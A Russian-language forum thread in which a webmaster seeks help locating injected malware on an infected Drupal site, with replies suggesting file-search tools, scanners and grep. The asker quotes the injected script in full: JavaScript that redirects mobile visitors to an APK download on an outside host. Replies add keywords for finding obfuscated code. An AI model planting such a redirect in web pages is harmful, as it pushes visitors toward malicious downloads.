Поиск текста на фтп сервере

Question

[Дмитрий]

Схватил вирус на сайте который редиректит мобильный трафик на апк файл.
Нужно найти этот код в файлах на фтп.
Подскажите как это можно сделать?
Спасибо!

Answer 1

[Hungry_Hunter]

Вот загрузил для вас скрипт dl.dropbox.com/u/20099426/search.zip
Загружаете php файл в корень, заходите на search.php?s=QUERY
Вместо QUERY ставите нужный вам запрос. В самом файле можно настроить какие файлы смотреть. Сейчас стоит php и html
Ну и Айболит, как советуют выше, хороший скрипт.
Если что, пишите в приват, возможно смогу чем-то помочь.

Comments

[Дмитрий]

Спасибо.
Проверил уже и тоталом и через ssh не находит текст.
И даже на комп весь сайт слил, еще раз проверил. Ничего.
Он зашифрован что ль. Код страницы смотришь и прям первыми строчками
<noindex><nofollow><script type="text/javascript"> if(navigator.userAgent.match(/(symbos|windows mobile|smartphone|blackberry|ppc|midp|windows ce|mtk|j2me|symbian|series 60|android)/i)!==null) window.location = "http://filenx.com/opera_mini/11125/opera_mini.auto"; </script></nofollow></noindex>

причем это только на друпале, джумлу без проблем очистил.
Видимо из бэкапа придется сайт восстанавливать.

[Hungry_Hunter]

Код может быть зашифрован. Попробуйте произвести поиск по словам:
— base64_decode
— eval
— location

[Дмитрий]

Ничего зашифрованного не нашел.
Но запустил Cron. и код исчез.
видимо он хранился в кеше или что там Cron чистит.
убил на это целый день.
спасибо всем за помощь!
и не храните пароли в тотал коммандере!!!

[ildar r. khasanshin]

если скрипт разместите в директории
и нужно искать во всех директориях
то замените "." на $_SERVER['DOCUMENT_ROOT']

[bpGusar]

ссылка умерла на файл

Answer 2

[Петруша Укропов]

У меня в роли фтп-менеджера выступает total commander, им и ищу если надо что-то найти.

Comments

[Дмитрий]

Подскажите как тотал коммандером искать текст в файлах *.php, *.html и прочих?

[Петруша Укропов]

Подключаетесь к фтп, далее «Инструменты — Поиск файлов» или Alt+F7. Поиск происходит по активной панели.
В строке «Искать файлы» указываете *.php;*.html (через точку с запятой). Ну и нужный вам текст.

[Дмитрий]

Спасибо! Думал он ищет только в имени файлов

Answer 3

[brevis]

Еще можно попробовать проверить Ai-Bolit'ом.

Comments

[Дмитрий]

Попробовал, ничего подозрительного не нашел.

Answer 4

[Jonh Doe]

Еще можно проверить по дате модификации файлов. Ну и в логах посмотреть.

Answer 5

[skul]

Не совсем ответ на этот вопрос, но возможно поможет. Проверьте .htaccess файл, такого рода гадость обычно кладут в эти файлы.

Comments

[Дмитрий]

.htaccess и файлы шаблона уже почистил. Но зараза еще где то сидит. Не могу найти :(
Вроде нашел решение через SSH командой grep. Уже запустил жду пока выведет результат.